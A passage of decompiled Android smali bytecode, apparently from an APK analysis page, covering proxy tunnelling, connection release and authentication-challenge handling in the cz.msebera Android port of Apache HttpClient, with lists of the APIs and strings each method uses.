        110invoke-interface {v9, p2, p3}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        112const-string p2, "http.request-config"
        114iget-object p3, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->requestConfig:Lcz/msebera/android/httpclient/client/config/RequestConfig;
        116invoke-interface {v9, p2, p3}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        118iget-object p2, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        120iget-object p3, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        122invoke-virtual {p2, v10, p3, v9}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->preProcess(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpProcessor;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        123goto_97:
        124invoke-interface {v2}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->isOpen()Z
        125move-result p2
        126if-nez p2, :cond_ad
        127new-instance p2, Ljava/net/Socket;
        129invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        130move-result-object p3
        132invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        133move-result v0
        135invoke-direct {p2, p3, v0}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V
        137invoke-interface {v2, p2}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->bind(Ljava/net/Socket;)V
        138cond_ad:
        139iget-object p2, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->authenticator:Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;
        141iget-object p3, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        143invoke-virtual {p2, v10, p3, v9}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->generateAuthResponse(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        145iget-object p2, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        147invoke-virtual {p2, v10, v2, v9}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->execute(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpResponse;
        148move-result-object p2
        150invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        151move-result-object p3
        153invoke-interface {p3}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        154move-result p3
        155const/16 v0, 0xc8
        156if-lt p3, v0, :cond_13a
        158iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->authenticator:Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;
        160iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->proxyAuthStrategy:Lcz/msebera/android/httpclient/impl/client/ProxyAuthenticationStrategy;
        162iget-object v7, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        163move-object v4, p1
        164move-object v5, p2
        165move-object v8, v9
        167invoke-virtual/range {v3 .. v8}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->isAuthenticationRequested(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        168move-result p3
        169if-eqz p3, :cond_fd
        171iget-object v3, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->authenticator:Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;
        173iget-object v6, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->proxyAuthStrategy:Lcz/msebera/android/httpclient/impl/client/ProxyAuthenticationStrategy;
        175iget-object v7, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        176move-object v4, p1
        177move-object v5, p2
        178move-object v8, v9
        180invoke-virtual/range {v3 .. v8}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->handleAuthChallenge(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        181move-result p3
        182if-eqz p3, :cond_fd
        184iget-object p3, p0, Lcz/msebera/android/httpclient/impl/client/ProxyClient;->reuseStrategy:Lcz/msebera/android/httpclient/ConnectionReuseStrategy;
        186invoke-interface {p3, p2, v9}, Lcz/msebera/android/httpclient/ConnectionReuseStrategy;->keepAlive(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        187move-result p3
        188if-eqz p3, :cond_f4
        190invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        191move-result-object p2
        193invoke-static {p2}, Lcz/msebera/android/httpclient/util/EntityUtils;->consume(Lcz/msebera/android/httpclient/HttpEntity;)V
        194goto/16 :goto_f7
        195cond_f4:
        196invoke-interface {v2}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->close()V
        197goto_f7:
        198const-string p2, "Proxy-Authorization"
        200invoke-interface {v10, p2}, Lcz/msebera/android/httpclient/HttpRequest;->removeHeaders(Ljava/lang/String;)V
        201goto/16 :goto_97
        202cond_fd:
        203invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        204move-result-object p1
        206invoke-interface {p1}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        207move-result p1
        208const/16 p3, 0x12b
        209if-le p1, p3, :cond_135
        211invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        212move-result-object p1
        213if-eqz p1, :cond_117
        214new-instance p3, Lcz/msebera/android/httpclient/entity/BufferedHttpEntity;
        216invoke-direct {p3, p1}, Lcz/msebera/android/httpclient/entity/BufferedHttpEntity;-><init>(Lcz/msebera/android/httpclient/HttpEntity;)V
        218invoke-interface {p2, p3}, Lcz/msebera/android/httpclient/HttpResponse;->setEntity(Lcz/msebera/android/httpclient/HttpEntity;)V
        219cond_117:
        220invoke-interface {v2}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->close()V
        221new-instance p1, Lcz/msebera/android/httpclient/impl/execchain/TunnelRefusedException;
        222new-instance p3, Ljava/lang/StringBuilder;
        224invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        226const-string v0, "CONNECT refused by proxy: "
        228invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        230invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        231move-result-object v0
        233invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        235invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        236move-result-object p3
        238invoke-direct {p1, p3, p2}, Lcz/msebera/android/httpclient/impl/execchain/TunnelRefusedException;-><init>(Ljava/lang/String;Lcz/msebera/android/httpclient/HttpResponse;)V
        239throw p1
        240cond_135:
        241invoke-interface {v2}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->getSocket()Ljava/net/Socket;
        242move-result-object p1
        243return-object p1
        244cond_13a: new-instance p1, Lcz/msebera/android/httpclient/HttpException;
        245new-instance p3, Ljava/lang/StringBuilder;
        247invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        249const-string v0, "Unexpected response to CONNECT request: "
        251invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        253invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        254move-result-object p2
        256invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        258invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        259move-result-object p2
        261invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        262throw p1
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Connection class mismatch, connection not obtained from this manager
        • Connection not obtained from this manager
        • I/O exception shutting down released connection
        • for
        • indefinitely
        • Connection
        • can be kept alive
        • Connection released:
        Position Instruction Meta Information
        0instance-of v0, p1, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;
        2const-string v1, "Connection class mismatch, connection not obtained from this manager"
        4invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Args;->check(ZLjava/lang/String;)V
        5check-cast p1, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;
        7invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->getManager()Lcz/msebera/android/httpclient/conn/ClientConnectionManager;
        8move-result-object v0
        9if-ne v0, p0, :cond_11
        10const/4 v0, 0x1
        11goto/16 :goto_12
        12cond_11: const/4 v0, 0x0
        13goto_12:
        14const-string v1, "Connection not obtained from this manager"
        16invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        17monitor-enter p1
        18try_start_18:
        19invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->detach()Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        20move-result-object v0
        21if-nez v0, :cond_20
        22monitor-exit p1
        23try_end_1f: return-void
        24cond_20:
        25invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->isOpen()Z
        26move-result v1
        27if-eqz v1, :cond_40
        29invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->isMarkedReusable()Z
        30move-result v1
        31try_end_2a: if-nez v1, :cond_40
        32try_start_2c:
        33invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->shutdown()V
        34try_end_2f: goto/16 :goto_40
        35catch_30: move-exception v1
        36try_start_31:
        37iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        39invoke-virtual {v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        40move-result v2
        41if-eqz v2, :cond_40
        43iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        45const-string v3, "I/O exception shutting down released connection"
        47invoke-virtual {v2, v3, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        48goto_40:
        49invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->isMarkedReusable()Z
        50move-result v1
        51if-eqz v1, :cond_9b
        52if-eqz p4, :cond_4a
        53move-object v1, p4
        54goto/16 :goto_4c
        55cond_4a:
        56sget-object v1, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
        57goto_4c:
        58invoke-virtual {v0, p2, p3, v1}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->updateExpiry(JLjava/util/concurrent/TimeUnit;)V
        60iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        62invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        63move-result v1
        64if-eqz v1, :cond_9b
        65const-wide/16 v1, 0x0
        66cmp-long v3, p2, v1
        67if-lez v3, :cond_77
        68new-instance v1, Ljava/lang/StringBuilder;
        70invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        72const-string v2, "for "
        74invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        76invoke-virtual {v1, p2, p3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        78const-string p2, " "
        80invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        82invoke-virtual {v1, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        84invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        85move-result-object p2
        86goto/16 :goto_79
        87cond_77:
        88const-string p2, "indefinitely"
        89goto_79:
        90iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        91new-instance p4, Ljava/lang/StringBuilder;
        93invoke-direct {p4}, Ljava/lang/StringBuilder;-><init>()V
        95const-string v1, "Connection "
        97invoke-virtual {p4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        99invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->format(Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;)Ljava/lang/String;
        100move-result-object v1
        102invoke-virtual {p4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        104const-string v1, " can be kept alive "
        106invoke-virtual {p4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        108invoke-virtual {p4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        110invoke-virtual {p4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        111move-result-object p2
        113invoke-virtual {p3, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        114cond_9b:
        115iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->pool:Lcz/msebera/android/httpclient/impl/conn/HttpConnPool;
        117invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->isMarkedReusable()Z
        118move-result p3
        120invoke-virtual {p2, v0, p3}, Lcz/msebera/android/httpclient/impl/conn/HttpConnPool;->release(Lcz/msebera/android/httpclient/pool/PoolEntry;Z)V
        122iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        124invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        125move-result p2
        126if-eqz p2, :cond_d3
        128iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        129new-instance p3, Ljava/lang/StringBuilder;
        131invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        133const-string p4, "Connection released: "
        135invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        137invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->format(Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;)Ljava/lang/String;
        138move-result-object p4
        140invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        142invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->getRoute()Ljava/lang/Object;
        143move-result-object p4
        144check-cast p4, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        146invoke-direct {p0, p4}, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->formatStats(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)Ljava/lang/String;
        147move-result-object p4
        149invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        151invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        152move-result-object p3
        154invoke-virtual {p2, p3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        155cond_d3: monitor-exit p1
        156return-void
        157catchall_d5: move-exception p2
        159iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->pool:Lcz/msebera/android/httpclient/impl/conn/HttpConnPool;
        161invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;->isMarkedReusable()Z
        162move-result p4
        164invoke-virtual {p3, v0, p4}, Lcz/msebera/android/httpclient/impl/conn/HttpConnPool;->release(Lcz/msebera/android/httpclient/pool/PoolEntry;Z)V
        165throw p2
        166catchall_e0: move-exception p2
        167monitor-exit p1
        168try_end_e2: throw p2
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Map.isEmpty
        • cz.msebera.android.httpclient.auth.AuthProtocolState.ordinal
        • java.lang.String.toLowerCase
        • java.util.Map.get
        • java.util.Queue.isEmpty
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • cz.msebera.android.httpclient.auth.MalformedChallengeException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • requested authentication
        • Response contains no authentication challenges
        • Auth scheme is null
        • Authorization challenge processed
        • Authentication failed
        • Selected authentication options:
        • Malformed challenge:
        Position Instruction Meta Information
        0const/4 v0, 0x0
        1try_start_1:
        2iget-object v1, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        5move-result v1
        6if-eqz v1, :cond_23
        8iget-object v1, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9new-instance v2, Ljava/lang/StringBuilder;
        11invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        13invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->toHostString()Ljava/lang/String;
        14move-result-object v3
        16invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        18const-string v3, " requested authentication"
        20invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        22invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        23move-result-object v2
        25invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        26cond_23:
        27invoke-interface {p3, p1, p2, p5}, Lcz/msebera/android/httpclient/client/AuthenticationStrategy;->getChallenges(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/util/Map;
        28move-result-object v1
        30invoke-interface {v1}, Ljava/util/Map;->isEmpty()Z
        31move-result v2
        32if-eqz v2, :cond_35
        34iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        36const-string p2, "Response contains no authentication challenges"
        38invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        39return v0
        40cond_35:
        41invoke-virtual {p4}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        42move-result-object v2
        44sget-object v3, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator$1;->$SwitchMap$cz$msebera$android$httpclient$auth$AuthProtocolState:[I
        46invoke-virtual {p4}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        47move-result-object v4
        49invoke-virtual {v4}, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->ordinal()I
        50move-result v4
        51aget v3, v3, v4
        52const/4 v4, 0x1
        53packed-switch v3, :pswitch_data_104
        54goto/16 :goto_a9
        55pswitch_4a: return v0
        56pswitch_4b:
        57invoke-virtual {p4}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        58goto/16 :goto_a9
        59pswitch_4f: if-nez v2, :cond_65
        61iget-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        63const-string v1, "Auth scheme is null"
        65invoke-virtual {p2, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        66const/4 p2, 0x0
        68invoke-interface {p3, p1, p2, p5}, Lcz/msebera/android/httpclient/client/AuthenticationStrategy;->authFailed(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        70invoke-virtual {p4}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        72sget-object p1, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->FAILURE:Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        74invoke-virtual {p4, p1}, Lcz/msebera/android/httpclient/auth/AuthState;->setState(Lcz/msebera/android/httpclient/auth/AuthProtocolState;)V
        75return v0
        76pswitch_65: if-eqz v2, :cond_a9
        78invoke-interface {v2}, Lcz/msebera/android/httpclient/auth/AuthScheme;->getSchemeName()Ljava/lang/String;
        79move-result-object v3
        81sget-object v5, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        83invoke-virtual {v3, v5}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
        84move-result-object v3
        86invoke-interface {v1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        87move-result-object v3
        88check-cast v3, Lcz/msebera/android/httpclient/Header;
        89if-eqz v3, :cond_a6
        91iget-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        93const-string v1, "Authorization challenge processed"
        95invoke-virtual {p2, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        97invoke-interface {v2, v3}, Lcz/msebera/android/httpclient/auth/AuthScheme;->processChallenge(Lcz/msebera/android/httpclient/Header;)V
        99invoke-interface {v2}, Lcz/msebera/android/httpclient/auth/AuthScheme;->isComplete()Z
        100move-result p2
        101if-eqz p2, :cond_a0
        103iget-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        105const-string v1, "Authentication failed"
        107invoke-virtual {p2, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        109invoke-virtual {p4}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        110move-result-object p2
        112invoke-interface {p3, p1, p2, p5}, Lcz/msebera/android/httpclient/client/AuthenticationStrategy;->authFailed(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/auth/AuthScheme;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        114invoke-virtual {p4}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        116sget-object p1, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->FAILURE:Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        118invoke-virtual {p4, p1}, Lcz/msebera/android/httpclient/auth/AuthState;->setState(Lcz/msebera/android/httpclient/auth/AuthProtocolState;)V
        119return v0
        120cond_a0:
        121sget-object p1, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->HANDSHAKE:Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        123invoke-virtual {p4, p1}, Lcz/msebera/android/httpclient/auth/AuthState;->setState(Lcz/msebera/android/httpclient/auth/AuthProtocolState;)V
        124return v4
        125cond_a6:
        126invoke-virtual {p4}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        127cond_a9:
        128invoke-interface {p3, v1, p1, p2, p5}, Lcz/msebera/android/httpclient/client/AuthenticationStrategy;->select(Ljava/util/Map;Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/util/Queue;
        129move-result-object p1
        130if-eqz p1, :cond_dc
        132invoke-interface {p1}, Ljava/util/Queue;->isEmpty()Z
        133move-result p2
        134if-nez p2, :cond_dc
        136iget-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        138invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        139move-result p2
        140if-eqz p2, :cond_d3
        142iget-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        143new-instance p3, Ljava/lang/StringBuilder;
        145invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        147const-string p5, "Selected authentication options: "
        149invoke-virtual {p3, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        151invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        153invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        154move-result-object p3
        156invoke-virtual {p2, p3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        157cond_d3:
        158sget-object p2, Lcz/msebera/android/httpclient/auth/AuthProtocolState;->CHALLENGED:Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        160invoke-virtual {p4, p2}, Lcz/msebera/android/httpclient/auth/AuthState;->setState(Lcz/msebera/android/httpclient/auth/AuthProtocolState;)V
        162invoke-virtual {p4, p1}, Lcz/msebera/android/httpclient/auth/AuthState;->update(Ljava/util/Queue;)V
        163try_end_db: return v4
        164cond_dc: return v0
        165catch_dd: move-exception p1
        167iget-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        169invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isWarnEnabled()Z
        170move-result p2
        171if-eqz p2, :cond_100
        173iget-object p2, p0, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        174new-instance p3, Ljava/lang/StringBuilder;
        176invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        178const-string p5, "Malformed challenge: "
        180invoke-virtual {p3, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        182invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/MalformedChallengeException;->getMessage()Ljava/lang/String;
        183move-result-object p1
        185invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        187invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        188move-result-object p1
        190invoke-virtual {p2, p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->warn(Ljava/lang/Object;)V
        191cond_100:
        192invoke-virtual {p4}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        193return v0
        Cross References
        APIs
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getKey
        • java.util.Map$Entry.getValue
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
